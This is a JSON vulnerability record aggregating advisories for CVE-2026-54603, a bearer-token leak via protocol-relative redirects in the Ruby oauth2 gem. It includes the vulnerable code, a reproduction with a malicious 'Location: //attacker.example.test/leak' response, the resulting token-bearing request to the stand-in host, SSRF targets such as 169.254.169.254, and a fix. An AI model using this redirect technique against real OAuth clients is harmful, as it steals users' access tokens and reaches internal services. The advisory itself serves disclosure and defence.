{"id":"CVE-2026-54603","aliases":["DEBIAN-CVE-2026-54603","EUVD-2026-49903","GHSA-pp92-crg2-gfv9","UBUNTU-CVE-2026-54603"],"status":"published","title":"OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host","description":"OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00448,"percentile":0.39445,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-601"],"published":"2026-07-28T16:29:03Z","modified":"2026-10-28T02:31:03Z","fixes":[{"ecosystem":"RubyGems","package":"oauth2","fixed_in":["2.0.22"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"ruby-oauth2","fixed_in":["1.4.4-1+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"ruby-oauth2","fixed_in":["2.0.25-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0"},{"last_affected":"2.0.21"},{"fixed":"2.0.22"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.4-1+deb12u1"}]}],"versions":["1.4.4-1"]},{"source":"osv","ecosystem":"Debian:13","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.17-1","2.0.18-1","2.0.25-1","2.0.9-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.25-1"}]}],"versions":["2.0.17-1","2.0.18-1","2.0.9-1"]},{"source":"osv","ecosystem":"RubyGems","package":"oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0"},{"fixed":"2.0.22"}]}],"versions":["0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.6.0","0.6.1","0.7.0","0.7.1","0.8.0","0.8.1","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","1.0.0","1.1.0","1.2.0","1.3.0","1.3.1","1.4.0","1.4.1","1.4.10","1.4.11","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","2.0.0","2.0.0.rc1","2.0.0.rc2","2.0.0.rc3","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0-2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4.0-1","1.4.0-2"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4.1-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4.4-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.7-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.18-1","2.0.25-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"ruby-oauth2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.9-1","2.0.17-1","2.0.18-1"]}],"products":[{"vendor":"ruby-oauth","product":"oauth2"}],"references":[{"url":"https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/ruby-oauth/oauth2/commit/0f0a474f1b38453e119e660c2daca742d4378ce9","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22","tags":["x_refsource_MISC","web"]},{"url":"https://lists.debian.org/debian-lts-announce/2026/10/msg00014.html","tags":["web"]},{"url":"https://github.com/advisories/GHSA-pp92-crg2-gfv9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54603.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54603","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-54603","tags":["advisory"]},{"url":"https://github.com/ruby-oauth/oauth2","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-54603","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54603","tags":["report"]},{"url":"https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-54603","title":"OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host","description":"OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22.","status":"published","published":"2026-07-28T16:29:03.566Z","modified":"2026-10-05T17:06:33.683Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-49903","description":"OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22.","status":"published","published":"2026-07-28T16:29:03Z","modified":"2026-10-05T17:06:33Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T17:27:39.384414Z"}],"ghsa":[{"id":"GHSA-pp92-crg2-gfv9","title":"OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host","description":"## Summary\n\nWhen an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 §5.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI(\"http://idp.trusted/userinfo\").merge(\"//attacker.example/leak\")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer \u003caccess-token\u003e` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request.\n\nThe result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user.\n\n## Affected\n\n- `oauth2` v2.0.21 and all prior versions back to and including v0.4.0.\n  - The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n  - The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n- Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x).\n- Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific.\n\n## Impact\n\nA consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:\n\n1. **Cross-origin credential disclosure.** The connection-scoped `Authorization: Bearer \u003ctoken\u003e` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction.\n2. **SSRF from the application server.** The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot.\n\nThe combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed — the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.\n\n## Vulnerable code\n\n[`lib/oauth2/client.rb#L146-L182`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/client.rb#L146-L182) at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`):\n\n```ruby\ndef request(verb, url, req_opts = {}, \u0026block)\n  response = execute_request(verb, url, req_opts, \u0026block)\n  status = response.status\n\n  case status\n  when 301, 302, 303, 307\n    req_opts[:redirect_count] ||= 0\n    req_opts[:redirect_count] += 1\n    return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n\n    if status == 303\n      verb = :get\n      req_opts.delete(:body)\n    end\n    location = response.headers[\"location\"]\n    if location\n      full_location = response.response.env.url.merge(location)  # \u003c-- protocol-relative input replaces authority\n      request(verb, full_location, req_opts)\n    # ...\n```\n\n`response.response.env.url` is the resolved URL of the prior request (always absolute, since Faraday's `build_exclusive_url` produces an absolute URI). `location` is the raw `Location` response header, with no validation. `URI#merge` follows RFC 3986 §5.2 and treats `//host/path` as a network-path reference, dropping the base authority and adopting the input's host. The recursive `request(verb, full_location, req_opts)` then re-enters with `req_opts` unchanged, which means any `Authorization` header that `OAuth2::AccessToken#configure_authentication!` placed in `req_opts[:headers]` for the original request travels with the redirected request to the attacker-controlled host.\n\nThe credential plumbing is at [`lib/oauth2/access_token.rb#L376-L408`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access_token.rb#L376-L408):\n\n```ruby\ndef configure_authentication!(opts, verb)\n  # ...\n  case mode\n  when :header\n    opts[:headers] ||= {}\n    opts[:headers].merge!(headers)\n  # ...\nend\n\ndef headers\n  {\"Authorization\" =\u003e options[:header_format] % token}\nend\n```\n\nThe default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer \u003ctoken\u003e` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins.\n\n## Reachable in production\n\nThe vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached.\n\nRealistic upstream triggers:\n\n1. **Open redirect on the IdP.** Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it.\n2. **Tenant-controlled IdP.** Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly.\n3. **Compromised or downgraded IdP.** A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.\n\nIn all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.\n\n## Reproduction\n\nThe issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`.\n\nMinimal setup:\n\n```ruby\nrequire \"oauth2\"\n\nclient = OAuth2::Client.new(\n  \"client-id\",\n  \"client-secret\",\n  site: \"http://idp.example.test\"\n)\n\ntoken = OAuth2::AccessToken.new(client, \"SECRET-BEARER-TOKEN\")\ntoken.get(\"/userinfo\")\n```\n\nIf the configured authorization/resource server responds to that request with a redirect such as:\n\n```http\nHTTP/1.1 302 Found\nLocation: //attacker.example.test/leak\nContent-Length: 0\n```\n\nthen vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer \u003ctoken\u003e` by default, the next request is sent to the attacker-controlled host with the bearer token attached:\n\n```http\nGET /leak HTTP/1.1\nHost: attacker.example.test\nAuthorization: Bearer SECRET-BEARER-TOKEN\n```\n\nThis requires no special Faraday adapter behavior. The vulnerable redirect handling is in `OAuth2::Client#request`; the attacker-controlled input is the raw `Location` header value from a 30x response.\n\n### Patched-build verification\n\nMonkey-patch `OAuth2::Client#request` so that protocol-relative `Location` values are forced down the relative-path branch of `URI#merge` by prepending `./`. Re-run the attack against the same `poc_collector.rb` instance.\n\n```ruby\nmodule OAuth2\n  class Client\n    def request(verb, url, req_opts = {}, \u0026block)\n      response = execute_request(verb, url, req_opts, \u0026block)\n      status = response.status\n      case status\n      when 301, 302, 303, 307\n        req_opts[:redirect_count] ||= 0\n        req_opts[:redirect_count] += 1\n        return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n        verb = :get and req_opts.delete(:body) if status == 303\n        location = response.headers[\"location\"]\n        if location\n          # PATCH: neutralise protocol-relative location before URI#merge.\n          safe_location = location.start_with?(\"//\") ? \"./#{location}\" : location\n          full_location = response.response.env.url.merge(safe_location)\n          request(verb, full_location, req_opts)\n        else\n          raise(Error.new(response), \"Got #{status} status code, but no Location header was present\")\n        end\n      # ... unchanged fallthrough ...\n      end\n    end\n  end\nend\n```\n\nAfter applying the patch, the same `token.get(\"/userinfo\")` call resolves the attack `Location: //127.0.0.1:4568/leak` to `http://127.0.0.1:4567/127.0.0.1:4568/leak` — same host as the IdP — and `:4568` never receives the bearer token. The IdP redirect loop trips `max_redirects` and the helper returns `status: 302` to the caller with no off-host request. Collector log after the patched run shows `:4568` LEAK count unchanged from the negative control:\n\n```text\n[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n```\n\nAll hops stay on `127.0.0.1:4567`. The bearer token never leaves the IdP.\n\n## Suggested fix\n\nTreat protocol-relative `Location` values as relative paths when resolving against the prior request URL. The smallest local fix is the `./` prefix used in `Faraday::Connection#build_exclusive_url` for the same primitive (see lines 485-488 of `faraday/lib/faraday/connection.rb`):\n\n```ruby\nlocation = response.headers[\"location\"]\nif location\n  # Force protocol-relative inputs to be interpreted as relative paths so they\n  # cannot override the base authority via RFC 3986 §5.2 network-path reference.\n  safe_location = location.respond_to?(:start_with?) \u0026\u0026 location.start_with?(\"//\") \\\n    ? \"./#{location}\" : location\n  full_location = response.response.env.url.merge(safe_location)\n  request(verb, full_location, req_opts)\n```\n\nA defence-in-depth follow-up is to also strip credential-bearing headers (`Authorization`, plus any custom headers configured via `header_format`) from `req_opts[:headers]` when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in `lib/mechanize/http/agent.rb#L1068-L1077`. That additional check protects against the orthogonal case where an attacker controls an absolute `Location: http://attacker.example/...` value on a same-host open-redirect endpoint.\n\n## Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-07-28T16:32:45Z","modified":"2026-07-28T16:32:45Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T14:40:53.707378Z"}],"nvd":[{"id":"CVE-2026-54603","description":"OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22.","status":"published","published":"2026-07-28T17:16:52.227Z","modified":"2026-10-23T23:10:00.157Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T14:12:33.249634Z"}],"osv":[{"id":"CVE-2026-54603","title":"OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host","description":"OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22.","status":"published","published":"2026-07-28T16:29:03.566Z","modified":"2026-10-28T02:31:03.111461845Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"DEBIAN-CVE-2026-54603","description":"OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22.","status":"published","published":"2026-07-28T17:16:52.227Z","modified":"2026-10-24T09:47:32.112667648Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-pp92-crg2-gfv9","title":"OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host","description":"## Summary\n\nWhen an application uses `OAuth2::Client` (typically via an `OAuth2::AccessToken`) and the configured authorization server returns a redirect whose `Location` header is a protocol-relative URI of the form `//attacker.example/leak`, `OAuth2::Client#request` resolves the redirect with `response.response.env.url.merge(location)`. Per RFC 3986 §5.2, an input that starts with `//` is a network-path reference and replaces the authority of the base URL: `URI(\"http://idp.trusted/userinfo\").merge(\"//attacker.example/leak\")` returns `http://attacker.example/leak`. The recursive `request(verb, full_location, req_opts)` call then re-sends the request to the attacker host while preserving the `Authorization: Bearer \u003caccess-token\u003e` header that `OAuth2::AccessToken#configure_authentication!` installed on `req_opts[:headers]` for the original request.\n\nThe result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the `Location` it emits) can extract the bearer access token of the calling user.\n\n## Affected\n\n- `oauth2` v2.0.21 and all prior versions back to and including v0.4.0.\n  - The underlying unsafe redirect-following behavior that reuses headers starts in v0.4.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n  - The vulnerability was retained when the code was refactored to a redirect helper, and in this form has been present in `OAuth2::Client#request` since v2.0.0 via https://github.com/ruby-oauth/oauth2/commit/b944da54cd70487c06d7252b9e4e7948eae56e73\n- Ruby 4.0.5 on `arm64-darwin25`. The behaviour of `URI#merge` for protocol-relative inputs is RFC-conformant and the same on every supported Ruby (≥ 2.x).\n- Adapter independence: confirmed against the default `faraday` 2.14.2 + `faraday-net_http` 3.4.3 stack. The `URI#merge` call is in `oauth2` itself, not in Faraday, so the issue is not adapter-specific.\n\n## Impact\n\nA consumer that uses `OAuth2::AccessToken#get` / `#post` / `#request` against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:\n\n1. **Cross-origin credential disclosure.** The connection-scoped `Authorization: Bearer \u003ctoken\u003e` header attached by `OAuth2::AccessToken#configure_authentication!` is sent to the attacker host on the very next request, with no second user interaction.\n2. **SSRF from the application server.** The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses — useful for hitting internal addresses (`//169.254.169.254/...`, `//127.0.0.1:.../...`) that the application server can reach but the attacker cannot.\n\nThe combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no `Location: http://attacker/...` is needed — the protocol-relative `//attacker/x` form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.\n\n## Vulnerable code\n\n[`lib/oauth2/client.rb#L146-L182`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/client.rb#L146-L182) at commit `e2d509705db6091c8d5f27c31e29c58e39e51c7c` (tag `v2.0.20`):\n\n```ruby\ndef request(verb, url, req_opts = {}, \u0026block)\n  response = execute_request(verb, url, req_opts, \u0026block)\n  status = response.status\n\n  case status\n  when 301, 302, 303, 307\n    req_opts[:redirect_count] ||= 0\n    req_opts[:redirect_count] += 1\n    return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n\n    if status == 303\n      verb = :get\n      req_opts.delete(:body)\n    end\n    location = response.headers[\"location\"]\n    if location\n      full_location = response.response.env.url.merge(location)  # \u003c-- protocol-relative input replaces authority\n      request(verb, full_location, req_opts)\n    # ...\n```\n\n`response.response.env.url` is the resolved URL of the prior request (always absolute, since Faraday's `build_exclusive_url` produces an absolute URI). `location` is the raw `Location` response header, with no validation. `URI#merge` follows RFC 3986 §5.2 and treats `//host/path` as a network-path reference, dropping the base authority and adopting the input's host. The recursive `request(verb, full_location, req_opts)` then re-enters with `req_opts` unchanged, which means any `Authorization` header that `OAuth2::AccessToken#configure_authentication!` placed in `req_opts[:headers]` for the original request travels with the redirected request to the attacker-controlled host.\n\nThe credential plumbing is at [`lib/oauth2/access_token.rb#L376-L408`](https://github.com/ruby-oauth/oauth2/blob/e2d509705db6091c8d5f27c31e29c58e39e51c7c/lib/oauth2/access_token.rb#L376-L408):\n\n```ruby\ndef configure_authentication!(opts, verb)\n  # ...\n  case mode\n  when :header\n    opts[:headers] ||= {}\n    opts[:headers].merge!(headers)\n  # ...\nend\n\ndef headers\n  {\"Authorization\" =\u003e options[:header_format] % token}\nend\n```\n\nThe default token mode is `:header`, so every `AccessToken#get` / `#post` / `#request` call attaches `Authorization: Bearer \u003ctoken\u003e` to `req_opts[:headers]`. That same dictionary is then forwarded verbatim into the redirected request, because `Client#request` does not inspect or strip `req_opts[:headers]` when the redirect crosses origins.\n\n## Reachable in production\n\nThe vulnerable path is the documented `AccessToken#get` / `AccessToken#post` flow that every `oauth2` integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to `options[:max_redirects]` hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative `Location` header is enough to redirect the next request to an attacker host with the bearer token attached.\n\nRealistic upstream triggers:\n\n1. **Open redirect on the IdP.** Many authorization servers expose endpoints that emit `Location` based on user input (for example logout flows, `redirect_uri` echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant `//attacker.example/leak` as the redirect target and induce the oauth2 client to follow it.\n2. **Tenant-controlled IdP.** Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via `OAuth2::Client.new(... , site: tenant_supplied_url)` allows a malicious tenant to set `site:` to its own server and emit the protocol-relative `Location` directly.\n3. **Compromised or downgraded IdP.** A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.\n\nIn all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.\n\n## Reproduction\n\nThe issue can be reproduced with a client using the default bearer-token header mode against an `oauth2` version before `2.0.22`.\n\nMinimal setup:\n\n```ruby\nrequire \"oauth2\"\n\nclient = OAuth2::Client.new(\n  \"client-id\",\n  \"client-secret\",\n  site: \"http://idp.example.test\"\n)\n\ntoken = OAuth2::AccessToken.new(client, \"SECRET-BEARER-TOKEN\")\ntoken.get(\"/userinfo\")\n```\n\nIf the configured authorization/resource server responds to that request with a redirect such as:\n\n```http\nHTTP/1.1 302 Found\nLocation: //attacker.example.test/leak\nContent-Length: 0\n```\n\nthen vulnerable versions resolve the protocol-relative `Location` as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because `OAuth2::AccessToken` uses `Authorization: Bearer \u003ctoken\u003e` by default, the next request is sent to the attacker-controlled host with the bearer token attached:\n\n```http\nGET /leak HTTP/1.1\nHost: attacker.example.test\nAuthorization: Bearer SECRET-BEARER-TOKEN\n```\n\nThis requires no special Faraday adapter behavior. The vulnerable redirect handling is in `OAuth2::Client#request`; the attacker-controlled input is the raw `Location` header value from a 30x response.\n\n### Patched-build verification\n\nMonkey-patch `OAuth2::Client#request` so that protocol-relative `Location` values are forced down the relative-path branch of `URI#merge` by prepending `./`. Re-run the attack against the same `poc_collector.rb` instance.\n\n```ruby\nmodule OAuth2\n  class Client\n    def request(verb, url, req_opts = {}, \u0026block)\n      response = execute_request(verb, url, req_opts, \u0026block)\n      status = response.status\n      case status\n      when 301, 302, 303, 307\n        req_opts[:redirect_count] ||= 0\n        req_opts[:redirect_count] += 1\n        return response if req_opts[:redirect_count] \u003e options[:max_redirects]\n        verb = :get and req_opts.delete(:body) if status == 303\n        location = response.headers[\"location\"]\n        if location\n          # PATCH: neutralise protocol-relative location before URI#merge.\n          safe_location = location.start_with?(\"//\") ? \"./#{location}\" : location\n          full_location = response.response.env.url.merge(safe_location)\n          request(verb, full_location, req_opts)\n        else\n          raise(Error.new(response), \"Got #{status} status code, but no Location header was present\")\n        end\n      # ... unchanged fallthrough ...\n      end\n    end\n  end\nend\n```\n\nAfter applying the patch, the same `token.get(\"/userinfo\")` call resolves the attack `Location: //127.0.0.1:4568/leak` to `http://127.0.0.1:4567/127.0.0.1:4568/leak` — same host as the IdP — and `:4568` never receives the bearer token. The IdP redirect loop trips `max_redirects` and the helper returns `status: 302` to the caller with no off-host request. Collector log after the patched run shows `:4568` LEAK count unchanged from the negative control:\n\n```text\n[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth=\"Bearer SECRET-BEARER-XYZZY\"\n```\n\nAll hops stay on `127.0.0.1:4567`. The bearer token never leaves the IdP.\n\n## Suggested fix\n\nTreat protocol-relative `Location` values as relative paths when resolving against the prior request URL. The smallest local fix is the `./` prefix used in `Faraday::Connection#build_exclusive_url` for the same primitive (see lines 485-488 of `faraday/lib/faraday/connection.rb`):\n\n```ruby\nlocation = response.headers[\"location\"]\nif location\n  # Force protocol-relative inputs to be interpreted as relative paths so they\n  # cannot override the base authority via RFC 3986 §5.2 network-path reference.\n  safe_location = location.respond_to?(:start_with?) \u0026\u0026 location.start_with?(\"//\") \\\n    ? \"./#{location}\" : location\n  full_location = response.response.env.url.merge(safe_location)\n  request(verb, full_location, req_opts)\n```\n\nA defence-in-depth follow-up is to also strip credential-bearing headers (`Authorization`, plus any custom headers configured via `header_format`) from `req_opts[:headers]` when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in `lib/mechanize/http/agent.rb#L1068-L1077`. That additional check protects against the orthogonal case where an attacker controls an absolute `Location: http://attacker.example/...` value on a same-host open-redirect endpoint.\n\n## Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-07-28T16:32:45Z","modified":"2026-09-10T03:50:52.871332161Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200","CWE-601"],"updated_at":"2026-11-02T15:46:53.244788Z"},{"id":"UBUNTU-CVE-2026-54603","description":"OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request 